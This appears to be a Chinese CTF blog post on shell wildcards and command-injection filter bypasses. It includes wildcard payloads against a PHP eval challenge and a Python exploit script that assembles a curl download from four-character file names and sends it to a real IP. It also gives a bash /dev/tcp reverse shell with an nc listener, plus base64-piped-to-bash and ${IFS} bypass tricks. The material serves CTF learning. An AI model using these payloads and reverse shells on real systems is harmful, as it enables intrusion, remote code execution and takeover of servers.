shell中的正则和通配符&&命令执行漏洞

代码执行漏洞是调用系统命令的漏洞,命令执行漏洞则是直接调用系统命令

先看一下linux的shell中的正则和通配符

通配符

通配符是一种特殊语句,主要有星号(*)和问号(?),用来模糊搜索文件。

  • 星号(*

可以使用星号代替零个、单个或多个字符。如果正在查找以AEW开头的一个文件,但不记得文件名其余部分,可以输入AEW*,查找以AEW开头的所有文件类型的文件。

1
2
ubuntu@VM-0-12-ubuntu:~$ ls *.txt
files.txt
  • 问号(

可以使用问号代替一个字符。如果输入love?,查找以love开头的一个字符结尾文件类型的文件,如lovey、lovei等。

1
2
ubuntu@VM-0-12-ubuntu:~$ ls confi?.py
config.py
  • [ ]

代表“[”和“]”之间的某一个字符.

1
2
ubuntu@VM-0-12-ubuntu:~$ ls [0-9][a-z]
5b
  • ^

表示匹配结果取反的意思,注意这个必须要在[]中使用

不以sql结尾的文件

1
2
ubuntu@VM-0-12-ubuntu:~$ ls *[^sql]
5b 7 config.py demo.php ex.php files.txt

  • { }

表示符合括号内包含的多个文件

1
2
ubuntu@VM-0-12-ubuntu:~$ ls {*.php,*.txt}
demo.php ex.php files.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
include 'flag.php';
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>35){
die("Long.");
}
if(preg_match("/[A-Za-z0-9_$]+/",$code)){
die("NO.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";

因为过滤了$!^~^{才是$,再异或就会非常麻烦

使用通配符
`/???/??? => /bin/cat`

1
2
$_=`/???/???%20/???/???/????/?????.???`;?><?=$_?> 
"/bin/cat /var/www/html/index.php"

长度超过了上限

参考这篇文章
https://www.anquanke.com/post/id/154284

使用*通配
$_=`/???/???%20/???/???/????/*\`;?><?=$_?>

但是没有$_
改进为
?><?=`/???/???%20/???/???/????/*`?>

直接读取flag
?><?=`/???/???%20/????`;?>

命令绕过

绕过空格

${IFS}

1
2
ubuntu@VM-0-12-ubuntu:~$ cat${IFS}test
this is a test!

1
2
ubuntu@VM-0-12-ubuntu:~$ cat$IFS$9test
this is a test!

$9只是当前系统shell进程的第九个参数的持有者,它始终为空字符串,这里起截断作用

命令分隔符

%0a符号 换行符

%0d符号 回车符

;符号 存在错误的命令也会继续执行后面的命令

&&符号 中间有错误的命令存在就不会执行后面的命令

||符号 到可以执行成功的命令就会停止执行后面的命令

重定向符

文件描述符是与已打开文件或设备相关联的整数,它们保持和已打开文件或设备的关联。最为常见的文件描述符是stdin、stdout和stderr,它们分别是0、1、2,是系统保留的文件描述符,分别对应标准输入、标准输出和标准错误。对于stdin,stdout和stderr重定向一般采用的操作符主要有<、>和>>,在没有指定的具体文件操作符的情况下,缺省是这样的:command < file.txt相当于command 0< file.txt,也就是说默认是将文件重定向到文件描述符0.

1
2
ubuntu@VM-0-12-ubuntu:~$ cat<test
this is a test!

>>>则是重定向到文件

编码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
获取字符串长度:
a='qwe\][\"'&&echo ${#a}
8

字符串编码转换:
ubuntu@VM-0-12-ubuntu:~$ echo "test" | base64
dGVzdAo=
ubuntu@VM-0-12-ubuntu:~$ echo "dGVzdAo=" | base64 -d
test
ubuntu@VM-0-12-ubuntu:~$ echo "test" | xxd -p
746573740a
ubuntu@VM-0-12-ubuntu:~$ echo "746573740a" | xxd -r -p
test
ubuntu@VM-0-12-ubuntu:~$ echo "Y2F0IHRlc3QK" | base64 -d | bash
this is a test!

十进制转8进制和16进制:
echo "obase=8;123" | bc
173
echo "obase=16;123" | bc
7B

obase=16 设置16进制输出
ibase=10 设置10进制输入
65536 输入十进制 65536
10000 输出16进制 10000
obase 查看当前输出进制
16
ibase 查看当前输入进制

16 进制输入时 a-f 必需用大写, 小写会被视为变量,会报错。

要密切注意obase, ibase 及其含义, 还有一个变量scale, 浮点数精度。除法时会用到。

linux特殊符号大全

拼接

1
2
ubuntu@VM-0-12-ubuntu:~$ q=c;w=at;e=test;$q$w $e
this is a test!

=右面有空格会报错

利用${SHELLOPTS}环境变量拼接
1
2
ubuntu@VM-0-12-ubuntu:~$ ${SHELLOPTS:3:1}${SHELLOPTS:2:1}${SHELLOPTS:29:1} test
this is a test!
'``
1
2
ubuntu@VM-0-12-ubuntu:~$ c''at te""st
this is a test!
1
2
ubuntu@VM-0-12-ubuntu:~$ c\at t\est
this is a test!

经典题目

1
2
3
4
5
6
7
8
9
10
<?php
$sandbox = '/var/www/html/' . md5("guetASN" . $_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if (isset($_GET['cmd']) && strlen($_GET['cmd']) <= 4) {
@exec($_GET['cmd']);
} else if (isset($_GET['reset'])) {
@exec('/bin/rm -rf ' . $sandbox);
}
highlight_file(__FILE__);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// 用>创建一个文件
ubuntu@VM-0-12-ubuntu:~/o$ >dir
ubuntu@VM-0-12-ubuntu:~/o$ ls
dir
ubuntu@VM-0-12-ubuntu:~/o$ >sl
ubuntu@VM-0-12-ubuntu:~/o$ ls
dir sl
ubuntu@VM-0-12-ubuntu:~/o$ >g\> //这里\转义>
ubuntu@VM-0-12-ubuntu:~/o$ ls
dir g> sl
ubuntu@VM-0-12-ubuntu:~/o$ >ht-
ubuntu@VM-0-12-ubuntu:~/o$ ls
dir g> ht- sl
ubuntu@VM-0-12-ubuntu:~/o$ * //*来把语句链接起来
g> ht- sl
ubuntu@VM-0-12-ubuntu:~/o$ >dir
ubuntu@VM-0-12-ubuntu:~/o$ ls
dir g> ht- sl
ubuntu@VM-0-12-ubuntu:~/o$ *>v //像v中写入ls -th >g的反序
ubuntu@VM-0-12-ubuntu:~/o$ >rev
ubuntu@VM-0-12-ubuntu:~/o$ *v>x //*v会输出v的反序内容,相当于rev v
ubuntu@VM-0-12-ubuntu:~/o$ cat x
ls -th >g

不使用ls -t>g是因为排序时t-会排到sl的后面

利用此原理getshell即可,正好有个云服务器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import requests
from time import sleep
from urllib import quote

payload = [
# generate "g> ht- sl" to file "v"
'>dir',
'>sl',
'>g\>',
'>ht-',
'*>v',

# reverse file "v" to file "x", content "ls -th >g"
'>rev',
'*v>x',

'>\;\\',
'>p\\',
'>ph\\',
'>m.\\',
'>\>\\',
'>\ \\',
'>6\\',
'>19\\',
'>0.\\',
'>5.\\',
'>2\\',
'>8.\\',
'>11\\',
'>\ \\',
'>rl\\',
'>cu\\',

# got shell
'sh x',
'sh g',
]

r = requests.get('http://193.112.37.98:65001/exec.php?reset=1')
for i in payload:
assert len(i) <= 4
r = requests.get('http://193.112.37.98:65001/exec.php?cmd=' + quote(i) )
print i
sleep(0.1)

用脚本连接

s1.png

无回显的命令执行

nc反弹shell

在vps中nc监听

1
nc -lv 7777

在要反弹shell的靶机上输入

bash -i >& /dev/tcp/vps的ip/7777 0>&1

以上bash反弹一句完整的解读过程就是:

bash产生了一个交互环境与本地主机主动发起与目标主机8080端口建立的连接(即TCP 8080 会话连接)相结合,然后在重定向个tcp 8080会话连接,最后将用户键盘输入与用户标准输出相结合再次重定向给一个标准的输出,即得到一个bash 反弹环境。

但们获取的shell不是标准的虚拟终端,没有交互功能,可以借助于python来获取一个标准的虚拟终端环境,python 默认就包含有一个pty的标准库

在反弹shell后执行以下命令获取标准shell

python -c "import pty;pty.spawn('/bin/bash')"

例如上面那个题利用写入的一句话反弹shell

开启监听后,在靶机上运行利用一句话写好的shell脚本即可,内容为bash -i >& /dev/tcp/vps的ip/7777 0>&1

s2.png

利用python获取伪终端

转数字IP

http://www.msxindl.com/tools/ip/ip_num.asp

文章作者: J0k3r
文章链接: http://j0k3r.top/2018/07/24/command-excu/
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来自 J0k3r's Blog